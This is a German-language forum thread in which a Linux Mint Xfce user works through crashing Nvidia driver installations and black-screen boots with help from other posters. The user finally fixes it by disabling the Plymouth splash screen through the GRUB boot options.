> Unterschied, ob der Strom weg ist oder nicht. Wenn die Bildschirme
> schwarz sind, die Tastatur taub, dann ist es mir wurscht ob die CPU
> irgentwo im Deatlock rödelt.

Ach, guck da.

Rudi schrieb:
> Außerdem habe im mehrmals hier erwähnt, dass diese
> Installations-Abbrüche auch so auf meinem alten PC erfolgt sind. Andere
> Hardware - gleicher Fehler, was sagt das euch?

Dau an der Tastatur, der, warum auch immer, keine exakte 
Fehlerbeschreibung liefert.

von Hans (ths23)


Lesenswert?

@Rudi:
Habe gerade noch einmal nachgeschaut. Du hast offensichtlich die Treiber 
aus dem Mintrepositority genommen, denn sonst hättest Du sie ja nicht 
über den Treibermanager installieren können. In diversen Foren wird 
davon berichtet das Canonical Treiber neuer als 535 aus dem "Zusätzliche 
Treiber"-Repository - was das auch immer ist - wegen wegen Problemen 
entfernt hat. Man könne die Treiber wohl über apt installieren also am 
Manager vorbei.
Ich denke mal das sind vorkompilierte Treiber und da pass einfach irgend 
etwas nicht zusammen, warum auch immer.

Ich würde jetzt wie folgt vorgehen:
- installiere erst mal den Noveautreiber über den Treibermanager. Da mit 
sollte das System erst einmal grundsätzlich laufen.
- lade Dir den passenden Treiber von Nvidia herunter (wie Du den findest 
hatte ich gepostet)
- installiere den Treiber wie von NVidia empfohlen.

Ich denke mal das Du so am schnellsten zum Ziel kommst.


PS: Falls Noveau nicht funzt VGA geht immer. Wenn's ganz hart kommt halt 
im Textmodus.

: Bearbeitet durch User
von Εrnst B. (ernst)


Lesenswert?

Hans schrieb:
> Ich denke mal das Du so am schnellsten zum Ziel kommst.

Nochmal: Sein PC während der Installation des Treibers aus den 
Mint-Paketquellen abgestürzt. Nicht danach, mit dem Treiber.
Zum Absturz-Zeitpunkt war der neue Treiber noch nicht geladen, hat noch 
keine Hardwarezugriffe gemacht, und egal wie buggy der Treiber ist, 
hatte keine Möglichkeit irgendwie Abstürze zu verursachen.
Was der PC zum Absturz-Zeitpunkt gemacht hat, war komprimierte Archive 
auszupacken, Dateien zu schreiben, und ggfs. im post-inst script ein 
Kernel-Modul zu kompilieren. Alles CPU- und speicherintensive Sachen.

Ja, Linux ist nicht Fehlerfrei, insb. Grafikkarten-Treiber nicht. Aber 
Archive Entpacken und Dateien schreiben ist schon etwas, was Linux 
normalerweise problemlos hinbekommt, solange nicht defekte Hardware 
dazwischengrätscht.

Es wird schon einen Grund haben, warum der TE sich so standhaft weigert 
einen Memtest und einen CPU-Lasttest zu fahren. Denke er wird schon 
wissen, dass da was im Argen liegt.

Hint: Wenn man von einem ständig abstürzenden Windows genervt ist, hilft 
es nix zu Linux zu wechseln. Windows läuft auch sehr stabil, solange die 
Hardware funktioniert. Und ein Wechsel des Betriebssystems repariert 
keine kaputten Speicherriegel oder entfernt die Plastikfolie zwischen 
CPU und Kühler...

von Roland F. (rhf)


Lesenswert?

Hallo,
wie passt das...

Εrnst B. schrieb:
> Und ein Wechsel des Betriebssystems repariert
> keine kaputten Speicherriegel oder entfernt die Plastikfolie zwischen
> CPU und Kühler...

...mit dem...

Rudi schrieb:
> Außerdem habe im mehrmals hier erwähnt, dass diese
> Installations-Abbrüche auch so auf meinem alten PC erfolgt sind. Andere
> Hardware - gleicher Fehler, was sagt das euch?

...zusammen?

rhf

von Esmu P. (Firma: privat) (max707)


Lesenswert?

Εrnst B. schrieb:
...---...
> Hint: Wenn man von einem ständig abstürzenden Windows genervt ist, hilft
> es nix zu Linux zu wechseln. Windows läuft auch sehr stabil, solange die
> Hardware funktioniert. Und ein Wechsel des Betriebssystems repariert
> keine kaputten Speicherriegel oder entfernt die Plastikfolie zwischen
> CPU und Kühler...
Der hat doch nur in die Tastatur gekotzt.

von Rudi (rudils)


Lesenswert?

Ich denke ich geb hier mal den aktuellen Status:

1.Jetzt interssiert mich NICHT mehr dass Grafiktreiber-Installationen 
abstürzen können und warum.

2.Nach Neuinstallation von Linux Mind Xfce und allen meinen Programmen 
lief das System auf 3 Bildschirmen mit dem Noveautreiber monatelang 
wunderbar. Nur bei Blender mußte ich auf CUDA verzichten und KICad lief 
ruckelich.

3.Jetzt versuchte ich doch wie oben diskutiert nviada Treiber zu 
installieren. Obwohl ich auf meinem alten PC schlechte Erfahrungen 
hatte. Aber auch da fand ich am Schluß einen funktionierenden Treiber 
auf dem selben Wege. Es muß also einen Unterschied zwischen LinuxMint 
V21 und V22 geben.

4.Jetzt funktioniert alles so wie ich gern haben will. CUDA ist da und 
KiCad ist flüssig. Allerdings NUR wenn ich im Grub den obersten Treiber 
von den 3 auswählbaren starte. Und das NUR im RECOVERY Mode. Ohne bleibt 
der Bildschirm schwarz. Die beiden Anderen starten auch ohne Recovery, 
allerdings ohne CUDA und nur mit einem Bildschirm.

von Daniel A. (daniel-a)


Lesenswert?

Drücke im grub beim ersten Eintrag mal "e", und lösche "quiet" und 
"splash" raus falls vorhanden. Dann starte das mit F10 glaub ich. 
Vielleicht sieht man dann ein paar Boot Messages.

Ich würde ausserdem mal versuchen, die initramfs neu zu bauen: 
"update-initramfs -u"

von (prx) A. K. (prx)


Lesenswert?

Rudi schrieb:
> Linux Mind Xfce

Nix gegen gelegentliche Schreibfehler, aber nach 2 Tagen sollte man 
vielleicht klären, ob damit "Linux Mint" gemeint ist, oder vielleicht 
doch "Linux Mind". https://gitlab.com/linuxmind

: Bearbeitet durch User
von Esmu P. (Firma: privat) (max707)


Lesenswert?

(prx) A. K. schrieb:
> Rudi schrieb:
>> Linux Mind Xfce
>
> Nix gegen gelegentliche Schreibfehler, aber nach 2 Tagen sollte man
> vielleicht klären, ob damit "Linux Mint" gemeint ist, oder vielleicht
> doch "Linux Mind". https://gitlab.com/linuxmind

Scherzbold

von Rudi (rudils)


Angehängte Dateien:

Lesenswert?

Daniel A. schrieb:
> Drücke im grub beim ersten Eintrag mal "e", und lösche "quiet" und
> "splash" raus

Hab ich gelöscht: Keine Auswirkung.

1.Versuch: Boot ohne Grub....schwarzer Bildschirm

2.Versuch: Boot ohne Recovery bleibt nach Echo 'LOading..... hängen

3.Versuch: Boot mit Recovery wie bisher OK

von Norbert (der_norbert)


Lesenswert?

Rudi schrieb:
> Hab ich gelöscht: Keine Auswirkung.

Danach kein ESC drücken, sondern mit (ich meine) Ctrl-X Bootvorgang 
auslösen.

von Rudi (rudils)


Angehängte Dateien:

Lesenswert?

Norbert schrieb:
> Ctrl-X Bootvorgang

Also nochmal ohne ESC:

Wenn gelöscht, dann Bootet es wie im Recovery-Mode.

Beim nächsten Bootversuch ist "quiet" und "splash" wieder da. Ohne zu 
löschen bleibt nach CTRL-X der Pc mit obiger Meldung hängen.

von Norbert (der_norbert)


Lesenswert?

Rudi schrieb:
> Beim nächsten Bootversuch ist "quiet" und "splash" wieder da.

Klar, steht in der /boot/grub/grub.cfg festgeschrieben.
Kann man dort ändern bis zum nächsten Kernel Update.

Kann man in /etc/default/grub permanent ändern. Ab dem nächsten Kernel 
Update.

Oder manuell auslösen.

EDIT: Tippfehler

: Bearbeitet durch User
von Sherlock 🕵🏽‍♂️ (rubbel-die-katz)


Lesenswert?

Norbert schrieb:
> Klar, steht in der grub.cfg festgeschrieben.
> Kann man in /etc/default/grub ändern.

Editiere es in dieser Datei, und führe den Befehl "update-grub" aus, um 
die Änderungen wirksam werden zu lassen.

von Rudi (rudils)


Lesenswert?

Sherlock 🕵🏽‍♂️ schrieb:
> Editiere es in dieser Datei, und führe den Befehl "update-grub" aus, um
> die Änderungen wirksam werden zu lassen.

Wenn ich das tue, kann ich dann automatisch booten ohne in Grub was 
auszuwählen?

von Sherlock 🕵🏽‍♂️ (rubbel-die-katz)


Lesenswert?

Rudi schrieb:
> Wenn ich das tue, kann ich dann automatisch booten ohne in Grub was
> auszuwählen?

Das ist der Plan, ja.

von Ein T. (ein_typ)


Lesenswert?

Hans schrieb:
> Man könne die Treiber wohl über apt installieren also am
> Manager vorbei.

Mit apt(8), aber "am Manager vorbei"? Das hört sich interessant an. 
Könntest Du bitte erklären, was genau Du damit meinst?

von Jens B. (dasjens)


Lesenswert?

Check doch mal alle Steckverbindungen in der Kiste.
Mir ist mal das Lüfterkabel abgegangen, da ging auch nichts mehr.

von Hans (ths23)


Lesenswert?

Εrnst B. schrieb:
> Was der PC zum Absturz-Zeitpunkt gemacht hat, war komprimierte Archive
> auszupacken, Dateien zu schreiben, und ggfs. im post-inst script ein
> Kernel-Modul zu kompilieren. Alles CPU- und speicherintensive Sachen.
Das muß dennoch nichts mit defekter Hardware zu haben. Es reicht ein 
simpler Programmfehler um ein Programm oder seltener ein ganze OS zum 
Absturz zu bringen. Beliebte Programmfehler diesbezüglich sind z.B. 
Divisionen durch 0, nicht initialisierte Zeiger oder ein Stacküberlauf. 
Die Fehler müssen auch nicht ständig passieren. Oftmals treten diese 
Fehler auch nur unter bestimmten Bedingungen  - Bedingungen/Zustände mit 
denen der Programmierer zum Zeitpunkt des Schreibens des Programmes 
nicht gerechtnet hat oder nicht wissen konnte. Ist unangenehm aber 
passiert eben.
Die Zeiten wo bei Programmabstürzen gleich das ganze OS mit 
heruntergezogen wird sind wohl bei Linunux und den aktuellen 
NT-Varianten, also Windows, eher selten aber ausschließen kann man sie 
dennoch nicht.
Programmabbrüche beim Installieren von SW sind nicht so selten, gerade 
wenn während der Installation irgend etwas kompiliert wird. Ein kleiner 
Fehler in den Quellen oder auch Headerdateien reicht da völlig aus.

Ansonsten Rudi schrieb:
> Außerdem habe im mehrmals hier erwähnt, dass diese
> Installations-Abbrüche auch so auf meinem alten PC erfolgt sind. Andere
> Hardware - gleicher Fehler, was sagt das euch?
Das unterschiedliche HW exakt den gleichen Fehler hat ist eher 
unwahrscheinlich.

Rudi schrieb:
> Aber auch da fand ich am Schluß einen funktionierenden Treiber
> auf dem selben Wege.
Also hast Du wieder irgend was vorkompiliertes installiert. Hätte ich 
nicht gemacht. Bei meiner Mint Installation hat seinerzeit keiner der 
vorkompilierten NVidia Treiber funktioniert und der Noveautreiber nur 
leidlich.
Wenn Du allerdings immer den Recoverymode nehmen mußt, dann ist an 
Deiner Systemkonfiguration was oberfaul.
Schau Dir doch einfach mal die Ausgabe von dmesg an. Da sieht man 
zumindest ob beim Start des Systems die relevanten Komponenten korrekt 
initialisiert werden. Ebenso die anderen Logdateien die so beim Booten 
angelegt werden können Hinweise auf mögliche Unstimmigkeiten geben.

Rudi schrieb:
> Die beiden Anderen starten auch ohne Recovery,
> allerdings ohne CUDA und nur mit einem Bildschirm.
Auch dies ist ein Zeichen dafür, das da irgendwas im Argen ist. 
Bezüglich CUDA lies mal hier 
https://docs.nvidia.com/cuda/cuda-installation-guide-linux/ nach. Da ist 
eigentlich recht genau beschrieben was bei CUDA beachtet werden sollte. 
Es gibt auch eine Tabelle mit kompatiblen Linuxdistributionen, 
allerdings ist da Mint nicht dabei. Ob die Nähe von Mint zu Debian da 
ausreicht kann ich nicht beurteilen. Ich denke mir aber das es schon 
einen Grund gibt, weshalb man sich dort die Mühe macht und eine 
Kompatibilitätsliste erstellt. Auch diese Dokumentation 
https://docs.nvidia.com/datacenter/tesla/driver-installation-guide/index.html 
ist recht interessant.
Da würde ich mich an Deiner Stelle mal schlau machen. Ich würde ebenso 
mal überlegen ob die Wahl von Mint für Dein Vorhaben eine gute Wahl ist. 
Unter Umständen bist Du mit einem OS aus der aufgeführten 
Kompatibilitätsliste (z.B. UBuntu oder Debian) besser bedient.

von Hans (ths23)


Lesenswert?

Ein T. schrieb:
> Mit apt(8), aber "am Manager vorbei"? Das hört sich interessant an.
> Könntest Du bitte erklären, was genau Du damit meinst?
Bei Mint gibt es wohl einen Treibermanager der auf eine eigene 
Treiberdatenbank zurück greift und aus dieser Datenbank wurden wohl die 
NVidia-Treiber >Version 535 entfernt, weil es mit diesen Probleme gäbe. 
Die Treiberpakete gibt es aber wohl noch in Distributionsrepositorities 
und man kann sie ja dann wohl per apt install <Paket> installieren, also 
ohne den Treibermanager. So wurde es zumindest in einem Forum 
beschrieben.
Ich selbst kenne diesen Treibermanager nicht. Ich habe sowas bei meiner 
Mint-Installation immer im Terminalfenster mit "apt install" gemacht. 
Den NVidiatreiber habe ich durch Ausfürung des run-Scriptes installiert, 
also ohne Treibermanager und apt.

von Ron-Hardy G. (ron-hardy)


Angehängte Dateien:

Lesenswert?

...

von Esmu P. (Firma: privat) (max707)


Lesenswert?

Ron-Hardy G. schrieb:
> ...

text, show us text, show please...

von Ein T. (ein_typ)


Lesenswert?

Hans schrieb:
> Programmabbrüche beim Installieren von SW sind nicht so selten, gerade
> wenn während der Installation irgend etwas kompiliert wird.

Wenn derselbe Fehler unter verschiedenen Bedingungen auftritt, unter 
anderen Bedingungen jedoch nicht, dann wird die sinnvollste Strategie 
zur Eingrenzung des Fehlers ja wohl darin bestehen, sich die 
Gemeinsamkeiten und Unterschiede der jeweiligen Bedingungen anzuschauen. 
Die überwiegende Mehrheit der Benutzer mit (halbwegs aktuellen) 
Grafikkarten von Nvidia und den Linux-Distributionen Debian, Ubuntu und 
Mint dürfte wohl die systemseitigen Installer benutzen. Bei der 
überwiegenden Mehrheit dieser Benutzer funktionieren sowohl Installation 
als auch Updates einwandfrei.

Beim TO scheinen sie jedoch auf gleich zwei verschiedenen Computern 
gewisse Schwierigkeiten zu machen, die wir wegen der spärlichen 
Informationen und der Herangehensweise des TO hier leider nicht genauer 
analysieren können. Aber ich sehe eine Gemeinsamkeit, die die vielen 
funktionierenden Installationen nicht haben: nämlich den Benutzer, 
unseren TO.

Vielleicht ist der TO einfach nur ein bisschen ungeduldig und wartet 
nicht ab, bis der Treiber übersetzt und installiert, oder bis das System 
zuende gebootet ist? Es erscheint mir dann doch allzu merkwürdig, daß 
das System erst nicht funktioniert haben soll, dann nach einem Reboot 
auf einmal doch sauber hoch gekommen ist, und dann bei einem weiteren 
Reboot plötzlich wieder gezickt haben soll. So ein Systemverhalten habe 
ich in über zwanzig Jahren Linux auf hunderten Maschinen mit 
verschiedenen Hardwareplattformen noch nie erlebt, und wenn ich in all 
den Jahren eines über Linux gelernt habe, dann, daß es auf fehlerfreier 
Hardware immer absolut reproduzierbare Ergebnisse liefert, und zwar 
sowohl im Guten, als auch im Schlechten.

Das Zweite, das ich in all den Jahren mit Linux über Linux gelernt habe, 
ist, daß es keine Anwenderfehler verzeiht, sondern immer genau das tut, 
was sein User von ihm verlangt und zwar auch dann, wenn es das 
vielleicht lieber nicht tun sollte. Wenn ich meinem Linux sage, daß es 
wichtige Systemdateien löschen soll, dann tut es das. Auch wenn es 
danach nicht mehr bootfähig ist.

Aus meiner unmaßgeblichen Sicht ist die Vermutung, daß es einen 
Zusammenhang zwischen dem Verhalten des TO und dem Auftreten dieser 
Fehler gibt, zumindest nicht völlig von der Hand zu weisen. Die etwas... 
sagen wir: hemdsärmeligen Äußerungen des TO, daß er weder auf den 
Systemzustand achtet, noch auch nur einmal in die Logdateien geschaut 
hat, es ihn auch nicht interessiert, warum so eine Installation 
fehlschlagen kann, und einige weitere Auslassungen bei den gegebenen 
Informationen, seinen konkreten Handlungen und den Ergebnissen dieser 
Handlungen, nähren meine Vermutung weiter. Prove me wrong! :-)

von Ein T. (ein_typ)


Lesenswert?

Hans schrieb:
> Bei Mint gibt es wohl einen Treibermanager der auf eine eigene
> Treiberdatenbank zurück greift und aus dieser Datenbank wurden wohl die
> NVidia-Treiber >Version 535 entfernt, weil es mit diesen Probleme gäbe.
> Die Treiberpakete gibt es aber wohl noch in Distributionsrepositorities
> und man kann sie ja dann wohl per apt install <Paket> installieren, also
> ohne den Treibermanager. So wurde es zumindest in einem Forum
> beschrieben.
> Ich selbst kenne diesen Treibermanager nicht. Ich habe sowas bei meiner
> Mint-Installation immer im Terminalfenster mit "apt install" gemacht.
> Den NVidiatreiber habe ich durch Ausfürung des run-Scriptes installiert,
> also ohne Treibermanager und apt.

Wenn es sich bei dem besagten Treibermanager um diese Software [1] 
handelt, so scheint es sich auf den ersten Blick lediglich um ein 
grafisches Frontend für den Debian-Paketmanager apt(8) zu handeln.

Schade, daß Du keinen Link zu dem Forenbeitrag hast, den Du zitierst. 
Dort hätten wir vielleicht mehr über die Hintergründe erfahren können.

von Rudi (rudils)


Lesenswert?

Ein T. schrieb:
> Beim TO scheinen sie jedoch auf gleich zwei verschiedenen Computern
> gewisse Schwierigkeiten zu machen, die wir wegen der spärlichen
> Informationen und der Herangehensweise des TO hier leider nicht genauer
> analysieren können.

Hier kann ich nur erwähnen wie es mir damit ergangen ist. Wenn ihr hier 
Informationen vermisst, dann nur weil ihr mir nicht die nötigen 
Anweisungen
mitgeteilt haben wie ich eure Fragen beantworten kann,. Ich bin zwar mal 
vor 30Jahren  als Linux-SystemSezialist ausgebildet worden, aber wie ich 
sehe ist das Schnee von gestern.

Ich wäre schon zufrieden müßte ich jedesmal als Recovery zu booten, 
diese 30sec habe ich noch frei als Rentner.

Aber auch möchte ich ein so stolzes Projekt wie OpenSource unterstützen. 
Und mir gefällt Linux Mint Xfce! Und alles was ich tun kann, das zu 
verbessern werde ich liefern. Nur sagt mir wie?

von Rudi (rudils)


Lesenswert?

Ein T. schrieb:
> Vielleicht ist der TO einfach nur ein bisschen ungeduldig und wartet
> nicht ab, bis der Treiber übersetzt und installiert, oder bis das System
> zuende gebootet ist?

Und zwischendurch werden alle Bildschirme Schwarz? Nein, nur wenn die 
Installation fertig ist, dann ist der blaue Vortschrittsbalken auch am 
ende Angekommen.

windows meldet dann wenigstens dass nun neu gebootet wird!

: Bearbeitet durch User
von Sherlock 🕵🏽‍♂️ (rubbel-die-katz)


Lesenswert?

Hans schrieb:
> Wenn Du allerdings immer den Recoverymode nehmen mußt, dann ist an
> Deiner Systemkonfiguration was oberfaul.

Ich habe das so verstanden, dass die Boot Option "splash" bei ihm 
Probleme bereitet. Das hatte ich auch schon mal vor langer Zeit.

Der Splash Screen ist ja grafisch, während der Boot-Vorgang ohne diese 
Option im Text-Modus verbleibt, bis der X-Server für den Login-Screen 
startet.Vielleicht gibt es ein Problem beim Umschalten vom "splash" 
GrafikModus in den nächsten.

: Bearbeitet durch User
von Norbert (der_norbert)


Lesenswert?

Sherlock 🕵🏽‍♂️ schrieb:
> Hans schrieb:
>> Wenn Du allerdings immer den Recoverymode nehmen mußt, dann ist an
>> Deiner Systemkonfiguration was oberfaul.
>
> Ich habe das so verstanden, dass die Boot Option "splash" bei ihm
> Probleme bereitet. Das hatte ich auch schon mal vor langer Zeit. Der
> Splash Screen ist ja ein grafisch, während der Boot-Vorgang ohne diese
> Option im Text-Modus verbleibt, bis der X-Server für den Login-Screen
> startet.

Da sollte man dann wohl am besten ›plymouth‹ deinstallieren.

von Rudi (rudils)


Lesenswert?

Sherlock 🕵🏽‍♂️ schrieb:
> Problem beim Umschalten vom "splash"
> GrafikModus in den nächsten.

Ja, so wird es sein. Ich habe jetzt nur splash entfernt und es geht. Bei 
quiet wird die Bootsequenz nicht gezeigt.

Es wurde mir vorgeworfen, ich hätte nicht alles erzählt. Da ist aber nur 
zusätzlich zu erwähnen, dass ich die 2 fehlgeschlagenen 
Installationsvesuche jeweils mit Timeshift zurückgesetzt habe. Ob das 
wichtig ist, weiß ich nicht.

In der Zwischenzeit ist mir an meinem PC noch etwas aufgefallen. Ich 
habe das Gnome-Mahjongg 3.40.1 aufgerufen, und gesehen, das ich fast 
nichts sehe...haha. Nein, vom Fenster ist nur die Titelleiste zu sehen 
und der Fensterrahmen. Der Rest ist transparent. Funktionieren tut es 
aber ganz normal. Es ist sicher ein Grafikproblem, aber wo?

Ansonsten läuft alles rund.

von Sherlock 🕵🏽‍♂️ (rubbel-die-katz)


Lesenswert?

Rudi schrieb:
> Es ist sicher ein Grafikproblem, aber wo?

Wohl im Grafiktreiber, würde ich mal sagen.

> Nein, vom Fenster ist nur die Titelleiste zu sehen
> und der Fensterrahmen. Der Rest ist transparent. Funktionieren tut es
> aber ganz normal.

Wie "funktioniert" denn ein Spiel, dass man nicht sehen kann?

von Esmu P. (Firma: privat) (max707)


Lesenswert?

Rudi schrieb:
> Ein T. schrieb:
>> Beim TO scheinen sie jedoch auf gleich zwei verschiedenen Computern
>> gewisse Schwierigkeiten zu machen, die wir wegen der spärlichen
>> Informationen und der Herangehensweise des TO hier leider nicht genauer
>> analysieren können.
>

Genau, nichts hinzu zu fügen...

> Hier kann ich nur erwähnen wie es mir damit ergangen ist. Wenn ihr hier
> Informationen vermisst, dann nur weil ihr mir nicht die nötigen
> Anweisungen
> mitgeteilt haben wie ich eure Fragen beantworten kann,. Ich bin zwar mal
> vor 30Jahren  als Linux-SystemSezialist ausgebildet worden, aber wie ich
> sehe ist das Schnee von gestern.
>

Oh weh, mein kleiner Enkel könnte Dir helfen...per personal 
assistance...

> Ich wäre schon zufrieden müßte ich jedesmal als Recovery zu booten,
> diese 30sec habe ich noch frei als Rentner.
>
> Aber auch möchte ich ein so stolzes Projekt wie OpenSource unterstützen.
> Und mir gefällt Linux Mint Xfce! Und alles was ich tun kann, das zu
> verbessern werde ich liefern. Nur sagt mir wie?

Ach höre bitte auf, Du trollst hier nur herum...

von Esmu P. (Firma: privat) (max707)


Lesenswert?

Rudi schrieb:
> Ein T. schrieb:
>> Vielleicht ist der TO einfach nur ein bisschen ungeduldig und wartet
>> nicht ab, bis der Treiber übersetzt und installiert, oder bis das System
>> zuende gebootet ist?
>
> Und zwischendurch werden alle Bildschirme Schwarz? Nein, nur wenn die
> Installation fertig ist, dann ist der blaue Vortschrittsbalken auch am
> ende Angekommen.
>
> windows meldet dann wenigstens dass nun neu gebootet wird!

Nö, stimmt überhaupt nicht! Das kann man nur sehen wenn man pausenlos 
vor der Glotze hockt. Als ich wieder zum PC kam war der Bildschirm nur 
schwarz, aber nicht ausgeschaltet. Dieser Dreck von MS gehört verboten.

von Rudi (rudils)


Lesenswert?

Norbert schrieb:
> Da sollte man dann wohl am besten ›plymouth‹ deinstallieren.

[[https://wiki.ubuntuusers.de/Plymouth/]]

Da ist doch wahrlich alles beschrieben, was ich gesucht habe.

Un das steht auch:
1
Auf manchen Systemen funktioniert Plymouth nicht korrekt. Dies äußert sich z.B. darin, dass das System nicht mehr bis zum Anmelde-Bildschirm ("login screen") bootet oder z.B. bei einer Dateisystem-Überprüfung ("file system check") immer langsamer wird und dabei bis zu einer Stunde braucht. Ursache hierfür ist meistens auch Plymouth.

Ist dann doch klar, daß ich keine Stunde warte, sondern eher an einen 
Absturz denke.

Ich betrachte diesen Threat nun als gelöst. Danke an Alle.

von Ein T. (ein_typ)


Lesenswert?

Rudi schrieb:
> Hier kann ich nur erwähnen wie es mir damit ergangen ist. Wenn ihr hier
> Informationen vermisst, dann nur weil ihr mir nicht die nötigen
> Anweisungen mitgeteilt haben wie ich eure Fragen beantworten kann

Nun habe ich den Thread noch einmal überflogen, um zu verifizieren, ob 
meine Erinnerungen falsch sind, aber sind korrekt. Hier wurden viele 
verschiedene Vermutungen geäußert, unter anderem die Frage hinsichtlich 
des Zustandes des Systems. Bedauerlicherweise hast Du jedoch in keinem 
Fall dazu beigetragen, diese Vermutungen zu verifizieren oder zu 
falsifizieren, und entweder gar nicht darauf reagiert oder sie, nunja, 
vom Tisch gewischt.

> Ich bin zwar mal
> vor 30Jahren  als Linux-SystemSezialist ausgebildet worden, aber wie ich
> sehe ist das Schnee von gestern.

Hui, dann wärst Du ja ein early adopter, denn vor 30 Jahren hat Linux 
gerade die Version 1.0 erreicht und die DELUG das Linux Magazin 
gegründet. :-) Aber gerade dann hätte ich etwas mehr Sensibilität 
bezüglich des Systemzustandes, und zumindest mal einen selbständigen 
Blick in Logdateien erwartet.

> Aber auch möchte ich ein so stolzes Projekt wie OpenSource unterstützen.
> Und mir gefällt Linux Mint Xfce! Und alles was ich tun kann, das zu
> verbessern werde ich liefern. Nur sagt mir wie?

Wende Dich ans XFCE- oder ein anderes OpenSource-Projekt, das Dich 
persönlich interessiert, erkläre kurz, was Du kannst -- also zum 
Beispiel Programmieren, Webseite(n) pflegen, Grafiken erstellen, 
Dokumentationen oder Übersetzungen entwickeln -- und wie Deine zeitliche 
Verfügbarkeit ist. Frage, ob sie Hilfe in diesen Bereichen brauchen 
können, und wo, wie und wann Du anfangen kannst.

Rudi schrieb:
> Und zwischendurch werden alle Bildschirme Schwarz? Nein, nur wenn die
> Installation fertig ist, dann ist der blaue Vortschrittsbalken auch am
> ende Angekommen.

So etwas kann durchaus passieren und hängt im Wesentlichen davon ab, wie 
das System konfiguriert ist. Meine Maschinen etwa verwenden Kubuntus 
KDE-Desktop weitestgehend in der Standardkonfiguration, dort wird der 
Bildschirm einfach ausgeschaltet, wenn man nichts tut und kein Video 
läuft.

> windows meldet dann wenigstens dass nun neu gebootet wird!

Linux ist aber nicht Windows! Und wenn ich Dir einen guten Rat geben 
darf: wenn Du  qualifizierte Hilfe von erfahreneren Linux-Nutzern haben, 
oder in einem OpenSource-Projekt mitarbeiten  möchtest, dann solltest Du 
diese Aussage verinnerlichen und auf solche Bemerkungen unbedingt 
verzichten. Denn solche Vergleiche nerven ungemein und deuten nur darauf 
hin, daß der Äußernde das Allerwichtigste nicht verstanden hat: nämlich, 
daß Linux nicht Windows ist, und auch nicht Windows werden will.

von Rudi (rudils)


Lesenswert?

Ein T. schrieb:
> ....nämlich, daß Linux nicht Windows ist, und auch nicht Windows werden will.

Man bin ich froh!

von Rudi (rudils)


Lesenswert?

Hallo, Ich habe nochmal einen Versuch zur Grafiktreiber-Installation 
gewagt. Und da er erfolgreich war, will ich es alle wissen lassen.

Am Anfang habe ich geschrieben, dass 2 von 3 Nvida-Treibern beim 
Installieren abgestürzt sind. Das Problem mit dem 3.Treiber haben wir 
dann mit entfernen von "splash" gelöst.

Ich habe mein System zurückgesetzt, auf die Version mit dem Opensource 
Treiber. Dann habe ich BEVOR ich die Installation mit dem empfohlenen 
Nvida-Treiber (dem 1.) begann, diese Änderung vorgenommen:
1
GRUB_CMDLINE_LINUX_DEFAULT="noplymouth"
wie dort beschrieben:
[[https://wiki.ubuntuusers.de/Plymouth/]]
und siehe da, die Installation ging reibungslos und erfolgreich zu ende.

Das wäre dann die perfekte Vorgehensweise.

Bitte melde dich an um einen Beitrag zu schreiben. Anmeldung ist kostenlos und dauert nur eine Minute.
Bestehender Account
Schon ein Account bei Google/GoogleMail? Keine Anmeldung erforderlich!
Mit Google-Account einloggen
Noch kein Account? Hier anmelden.